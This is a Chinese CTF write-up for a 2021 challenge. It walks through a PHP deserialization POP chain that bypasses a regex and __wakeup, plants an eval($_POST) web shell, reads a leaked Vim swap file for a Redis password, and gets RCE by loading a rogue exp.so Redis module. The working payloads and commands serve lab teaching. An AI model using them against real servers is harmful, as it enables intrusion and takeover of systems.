<?php
class A{
public $code = "";
function __call($method,$args){
eval($this->code);
}
function __wakeup(){
$this->code = "";
}
}
class B{
function __destruct(){
echo $this->a->a();
}
}
if(isset($_REQUEST['poc'])){
preg_match_all('/"[BA]":(.*?):/s',$_REQUEST['poc'],$ret);
if (isset($ret[1])) {
foreach ($ret[1] as $i) {
if(intval($i)!==1){
exit("you want to bypass wakeup ? no !");
}
}
unserialize($_REQUEST['poc']);
}
}else{
highlight_file(__FILE__);
}
代码审计
发现eval触发__call即可
在传参的正则匹配里,A,B后的键值必须为1(A : 1或者B : 1)
这里因为php中对类名的大小不敏感,所以在构造pop链后可以将类名改成小写
此外A类中的wakeup方法只要序列化的中的成员数大于实际成员数,即可绕过
<?php
class a{
public $code ='eval($_POST["a"]);';
function __call($method,$args){
eval($this->code);
}
function __wakeup(){
$this->code = "";
}
}
class b{
function __destruct(){
echo $this->a->a();
}
}
$c=new b();
$c->a=new a();
echo serialize($c)
?>
得到后修改成员数
?poc=O:1:"b":2:{s:1:"a";O:1:"a":1:{s:4:"code";s:18:"eval($_POST["a"]);";}}
get传参后用蚁剑连接
打开目录后发现不能访问其他目录但也发现了vim缓存泄露文件
Vim缓存泄露指的是当用户在Vim编辑器中打开了一个文件,并进行了修改,然后使用了Vim或其他工具关闭了该文件,但Vim缓存中仍然保留着该文件的副本,从而导致该文件中的敏感信息(例如密码、私密密钥等)泄露的漏洞。
默认情况下其格式为:
.<filename>.swp
以下是一些常见的Vim插件和它们可能创建的缓存文件格式:
- cscope:
.cscope.out.<pid>
- ctags:
tags
- git:
.git/index.lock
- LintHub:
.conda/locks/python.interpreter.lock
(对于conda环境)
打开swp文件后发现了redis的密码
所以这里可以通过redis提权来实现RCE
Redis 中的 exp.so 文件通常被用作 Redis 提权的一种方式。这个文件是一个 Redis 模块,它可以在 Redis 服务器中执行任意代码。
Redis 模块是一种可插拔的扩展,它允许用户在 Redis 服务器中添加新的功能。exp.so 文件是一个 Redis 模块,它提供了一些命令和功能,可以让攻击者在 Redis 服务器中执行任意代码,从而获得服务器的控制权。
在 Redis 提权攻击中,攻击者通常会利用 Redis 的漏洞或者弱密码,获取 Redis 服务器的访问权限。一旦攻击者获得了访问权限,他们就可以上传 exp.so 文件到 Redis 服务器中,并使用 Redis 的 module load 命令加载这个文件。这个文件会在 Redis 服务器中执行任意代码,从而让攻击者获得服务器的控制权
这里下载一个可以getshell的exp.os文件
GitHub - Dliv3/redis-rogue-server: Redis 4.x/5.x RCE
下载后上传到当前目录下
然后再下载一个redis管理插件,这个可以直接在蚁剑的插件市场里下载,也可以在下面这里下载
GitHub - Medicean/AS_Redis: AntSword Redis Plugin, required antSword >= 2.0.2.1(开发版)
下载后
输入redis的密码
打开命令执行框
然后使用上述的module load加载上传的文件即可提权成功
MODULE LOAD /var/www/html/exp.so
system.exec "ls /"
system.exec "cat /flagaasdbjanssctf"
总结:
php对类名不敏感
vim缓存泄露,以 swp、swo、swn 等其他格式
Redis提权
以上选自:(3条消息) [天翼杯 2021]esay_eval——Redis(主从复制)提权初见_redis主从提权_Leafzzz__的博客-CSDN博客